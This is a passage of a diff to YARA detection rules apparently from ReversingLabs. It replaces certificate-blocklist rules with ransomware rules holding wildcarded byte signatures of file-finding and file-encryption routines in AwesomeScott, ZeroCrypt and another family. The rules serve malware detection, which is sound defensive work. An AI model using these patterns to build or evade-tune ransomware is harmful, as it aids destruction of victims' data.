?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 + ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 35 ?? ?? ?? ?? 68 + } + $find_files_p4 = { + FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? + ?? FF 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? + 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? + ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? B8 + ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? FF 75 ?? FF 75 ?? B9 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 + C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? + 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 + E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? + ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? + ?? ?? 6A ?? 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? + ?? 50 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 + } + $find_files_p5 = { + 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8D 85 ?? ?? ?? + ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? + 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 + E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? + 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? + 8B 45 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? B8 ?? ?? + ?? ?? 0F 95 C0 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? + 0F 84 ?? ?? ?? ?? FF 75 ?? 8B 5D ?? FF 33 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 + 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 89 45 ?? 8B 45 ?? 50 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 89 45 ?? E9 + ?? ?? ?? ?? FF 75 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 + E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B 5D ?? 85 + DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 + } + $encrypt_files_p1 = { + B8 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 8B 5D ?? 85 DB 74 ?? 53 + E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? + B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? + ?? ?? ?? B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? + 58 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? + 83 C4 ?? 58 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? + ?? ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? + 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 + C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 + 45 ?? 8B 45 ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? + ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 1D + } + $encrypt_files_p2 = { + 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? + ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 + ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? + 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 1D + ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 8B 45 ?? 50 8B 1D ?? ?? ?? ?? 85 DB 74 ?? 53 E8 ?? ?? + ?? ?? 83 C4 ?? 58 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? A1 ?? ?? ?? ?? 85 C0 75 ?? B8 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? + ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Infoteh63" and pe.signatures [ i ] . serial == "3e:72:da:f2:b9:a4:44:9e:94:60:09:e5:08:4a:8e:76" and 1591787570 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_11Edd343E21C36Ac985555D85C16135F : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Awesomescott : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects AwesomeScott ransomware." author = "ReversingLabs" - id = "219f709f-4e05-5d0e-97a4-eca1e65153a3" - date = "2020-08-05" - modified = "2023-11-08" + id = "36d3b801-dbdb-585a-ac80-1827a6749c87" + date = "2020-09-16" + modified = "2020-09-16" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4050-L4066" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.AwesomeScott.yara#L1-L101" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "17feeed4be074a30572eb12fc81dc15d1b06f2d3f7b4b4fb4443391c62ac4d9b" + logic_hash = "ed8096a4abbd015f79f4ec7239cd4070194ad70fa03da6714e499a41f9fb9423" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "AwesomeScott" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 48 8B C4 48 89 58 ?? 48 89 68 ?? 48 89 70 ?? 57 41 54 41 55 41 56 41 57 48 83 EC ?? + 45 33 FF 4C 8B F2 49 8B D8 4C 89 78 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 4C + 89 78 ?? 4C 89 78 ?? 4C 89 78 ?? 4C 89 78 ?? B8 ?? ?? ?? ?? 48 8B F1 45 33 C9 44 8B + C0 8B D0 49 8B CE 45 32 ED 48 83 CD ?? 49 8B FF FF 15 ?? ?? ?? ?? 4C 8B E0 48 3B C5 + 75 ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? + ?? ?? E9 ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 48 8B CB 41 8D 51 ?? 45 8D 41 ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B E8 48 83 F8 ?? 75 + ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? + ?? E9 ?? ?? ?? ?? BB ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 33 D2 44 8B CB + } + $encrypt_files_p2 = { + 44 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? + 4C 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 44 8B CB 33 D2 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C + 24 ?? 48 8D 44 24 ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? 48 89 44 24 ?? FF 15 ?? ?? ?? + ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 0D ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 44 8B C0 45 33 C9 FF 15 + ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B + 44 24 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 41 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 44 24 + ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? + ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 41 B8 ?? ?? ?? ?? 48 8D 15 + ?? ?? ?? ?? E9 ?? ?? ?? ?? 32 DB 90 4C 8D 4C 24 ?? 41 B8 ?? ?? ?? ?? 48 8B D7 49 8B + CC 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ?? + 48 8B 4C 24 ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F B6 DB 0F 42 D8 48 8D 44 24 + ?? 45 33 C9 48 89 44 24 ?? 44 0F B6 C3 33 D2 48 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 + } + $encrypt_files_p3 = { + 74 ?? 44 8B 44 24 ?? 4C 8D 4C 24 ?? 48 8B D7 48 8B CD 4C 89 7C 24 ?? FF 15 ?? ?? ?? + ?? 85 C0 74 ?? 84 DB 0F 84 ?? ?? ?? ?? 41 B5 ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? + ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D + 15 ?? ?? ?? ?? 44 8B C0 48 8B CE E8 ?? ?? ?? ?? 4D 85 E4 74 ?? 49 8B CC FF 15 ?? ?? + ?? ?? 48 85 ED 74 ?? 48 8B CD FF 15 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF E8 ?? ?? ?? + ?? 48 8B 4C 24 ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B + D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C + 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? ?? 4C 89 7C 24 ?? 48 8B + 4C 24 ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? + ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? + ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? + ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? ?? 48 8B 4C 24 + } + $find_files = { + E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 F6 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? + ?? 00 00 E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 + ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 + F8 ?? 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 B8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 + B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 4C 8D 44 + 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? + ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D + 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? + ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? + ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 + 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C + 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? + FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 + ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? + ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? + 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 85 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? 48 8D + 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 + 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? ?? 00 00 E8 ?? ?? ?? ?? + 4C 8D 44 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? + ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 39 74 24 ?? 76 + ?? 4C 8D 0D ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24 + ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 48 8B CB FF 15 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Pribyl Handels GmbH" and pe.signatures [ i ] . serial == "11:ed:d3:43:e2:1c:36:ac:98:55:55:d8:5c:16:13:5f" and 1589925600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $find_files and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_093Fe63D1A5F68F14Ecaac871A03F7A3 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Zerocrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects ZeroCrypt ransomware." author = "ReversingLabs" - id = "ce0b23fd-5f79-5b90-8d5c-2ff59ac39df6" - date = "2020-08-05" - modified = "2023-11-08" + id = "89e47d7f-1ac4-570d-8ae1-30f0acc21462" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4068-L4084" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.ZeroCrypt.yara#L1-L94" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "333c58a9af2d94604b637ab0a7280b6688a89ff73e30a93a8daed040fab7f620" + logic_hash = "947925206ded187eac31c5046d75ab017869ae3f8dc906f2e5536d4db219f108" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "ZeroCrypt" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_file_1 = { + 55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? + ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ?? + ?? ?? 64 A3 ?? ?? ?? ?? 8B F2 8B F9 68 ?? ?? ?? ?? 8B D7 8D 4C 24 ?? E8 ?? ?? ?? ?? + 83 C4 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 8B D0 56 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? + 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 + 24 ?? 72 ?? 8B 16 EB ?? 8B D6 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? + ?? ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 + 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? + C6 84 24 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 ?? + ?? ?? ?? 83 C4 ?? 8B D6 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B F0 C6 84 24 ?? ?? ?? ?? ?? 8B + D7 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 8B D0 + 56 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 84 24 ?? ?? ?? ?? ?? 8B D0 68 ?? ?? ?? ?? + 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 84 24 ?? ?? ?? ?? ?? 8D 84 24 ?? ?? ?? + ?? 3B C6 74 ?? 83 BC 24 ?? ?? ?? ?? ?? 72 ?? FF B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 33 C0 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 56 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? + ?? ?? ?? ?? ?? ?? 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 83 + 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? + FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? 66 89 44 24 ?? C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? + ?? ?? ?? 83 C4 ?? 33 C0 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 66 89 44 24 + } + $encrypt_file_2 = { + C6 84 24 ?? ?? ?? ?? ?? 83 7C 24 ?? ?? 72 ?? FF 74 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? + 33 C0 C7 44 24 ?? ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? 66 89 44 + 24 ?? 8D B4 24 ?? ?? ?? ?? 0F 43 BC 24 ?? ?? ?? ?? 8D 44 24 ?? 83 BC 24 ?? ?? ?? ?? + ?? 50 0F 43 B4 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 57 56 8B 00 FF D0 85 C0 68 ?? ?? ?? ?? 0F 95 C3 E8 ?? ?? ?? ?? 83 C4 ?? 85 + C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 84 DB 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? + 8D 44 24 ?? 8D B4 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F 43 B4 24 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 56 8B 00 FF D0 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A + ?? 50 E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 + 84 24 ?? ?? ?? ?? ?? 8D 4C 24 ?? 6A ?? 83 EC ?? E8 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 4C + 24 ?? E8 ?? ?? ?? ?? 6A ?? 83 EC ?? 8D 8C 24 ?? ?? ?? ?? 8B 58 ?? 03 18 E8 ?? ?? ?? + ?? 6A ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? + ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 33 C9 8B 00 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 + 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? + ?? ?? ?? 66 89 8C 24 ?? 